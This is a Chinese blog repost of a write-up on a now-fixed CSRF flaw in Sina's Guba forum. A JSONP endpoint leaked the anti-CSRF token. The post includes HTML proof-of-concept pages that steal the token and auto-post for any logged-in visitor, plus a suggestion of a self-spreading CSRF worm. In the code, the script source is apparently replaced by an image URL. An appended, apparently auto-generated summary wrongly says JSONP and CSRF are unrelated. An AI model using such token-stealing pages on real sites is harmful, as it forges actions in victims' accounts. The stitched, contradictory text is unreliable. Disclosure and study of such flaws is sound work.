分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

153 篇文章 18 订阅
66 篇文章 2 订阅

在这里插入图片描述
最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视。正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享。

因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。

0x01 引子

听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了。

详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。

最近股市很火啊,多少人在股市里发家致富。于是我简单开着burpsuite在股吧里转了一圈,发现了一处有意思的CSRF。

新浪微博玩的多的同学都知道新浪针对CSRF漏洞的防御策略是检查Referer,但股吧发帖这里却不是,少见地检查是token。
在这里插入图片描述
如图,抓一个正常发帖的POST数据包,我们可以看到其中含有_csrf_token这个字段。经过简单FUZZ发现,这个请求是不检查Referer的,只要_csrf_token正确即可发帖。

那么,如何获取_csrf_token,我有如下思路:

查看本站是否有泄漏token的jsonp
通过flash窃取源码
为什么我会有以上思路?首先,获取token一定是一个跨域过程,跨域的话通常就是CORS、postMessage和jsonp,这里CORS和postMessage都是不存在的,那么我就去找jsonp。

flash的思路应该已经流传已久了,去年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031

但法2有一个很重要的条件是我们需要找到一个能控制输出内容的点,如上传、jsonp等,但实际上这样的位置并不好找,利用起来不如第一种方法简单。

0x02 jsonp出卖了你的_csrf_token

那么,跟着自己的思路来测试。

我先将_csrf_token修改成随意一个字符串,发送发现返回这样一个结果:
在这里插入图片描述
返回的数据包是一个json格式的字符串,其中包含了一个_csrf_token。多次发送这个数据包,我发现这个token每次都会变化。

那么我大概可以猜到,股吧的token是一个动态生成的,应该是储存在session中,每次检查完成后会生成一个新的。

但这里是json格式的返回值,而非jsonp。

于是我在GET参数中加入“&callback=hehehe”试试:
在这里插入图片描述
很明显,返回的格式变了。虽然不是jsonp,但却是一个

为什么加上callback=hehehe就变了?这应该是一个开发习惯,通常开发设计api的时候都会有json和jsonp两种格式,而通常取jsonp的函数名的变量名就是callback。

这里是

那么我用这个jsonp里的_csrf_token试试能不能成功发帖:
在这里插入图片描述
悲剧的是,不行……

那么我有两个猜想

_csrf_token和HTTP方法有关,GET方法只能痛GET方法获取的token,POST用POST的token
_csrf_token和“吧id”有关,不同id对应不同token。原因是返回错误的原因里多次提到“缺少参数:吧id或吧名”。
第一个猜想被我的程序员直觉否定了,我没见过有这样写程序的。

我尝试第二个猜想,在GET数据包的URL中加上&bid=9947,再次发送数据包:
在这里插入图片描述
仍然是jsonp格式,我将这个token再写入post数据包中发送:
在这里插入图片描述
成功了!

一个jsonp将_csrf_token彻底出卖了。

0x03 构造POC发表任意帖子

那么我开始编写POC来完成刚才手工完成的步骤。思路如下:

jsonp获得token
构造POST表单提交
先构造一个获取token的简单代码:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
	console.log(obj);
	alert(obj["result"]["data"]["_csrf_token"]);
}
</script>
<script type="text/javascript" src=“https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>
</head>
</html>

效果如图:
在这里插入图片描述
已经获取到token了。

这时候,将token嵌入表单中提交即可:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend">
<input type="hidden" name="bid" value="9947">
<input type="hidden" name="tid" value="">
<input type="hidden" name="content" value="这是测试结果">
<input type="hidden" name="title" value="这是测试标题">
<input type="hidden" id="token" name="_csrf_token" value="">
<input type="hidden" name="anonymous" value="1">
</form>
<script type="text/javascript">
function hehehe(obj){
	console.log(obj);
	var csrf_token = obj["result"]["data"]["_csrf_token"];
	document.getElementById("token").value = csrf_token;
	document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script>
</body>
</html>

以上代码,保存为sinacsrf.html,任意用户访问后即可触发,在板块9947发表一篇新帖子:
在这里插入图片描述
如图可见已发表:
在这里插入图片描述
这就是一个很典型的CSRF漏洞,通过jsonp窃取token来绕过后端的检查。

发表的帖子里还能再贴入链接,引诱其他用户点击,点击访问再次发帖,造成一个CSRF蠕虫。

CSRF(Cross-Site Request Forgery)是一种网络攻击方式,它利用用户已经在某个网站上登录的身份,在用户不知情的情况下对其他网站进行恶意操作。JSONP(JSON with Padding)是一种跨域请求的解决方案之一。JSONP通过在前端页面动态生成<script>标签,将请求发送到其他域名的服务器,并在响应中返回一个回调函数的调用。这样,前端页面就可以通过回调函数获取到跨域请求的数据。 从引用中可以了解到,JSONP的兼容性较好,但它只支持GET请求,不支持POST请求。而CORS(Cross-Origin Resource Sharing)是W3C标准定义的跨域Ajax请求的解决方案,它支持GET和POST请求,但可能存在兼容性问题。 在引用中的示例代码中,可以看到JSONP的具体实现方式。通过在服务器端创建一个路由,接收客户端通过查询字符串传递的callback参数。然后服务器会构造一个对象,并将该对象转换成字符串形式返回给客户端,并在返回的数据前面添加回调函数的调用。 综上所述,JSONP是一种通过动态生成<script>标签实现跨域请求的临时解决方案,而CSRF是一种网络攻击方式。两者并没有直接的联系。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CORS和JSONP的区别,如何解决跨域问题?](https://blog.csdn.net/SunFlower914/article/details/120691847)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值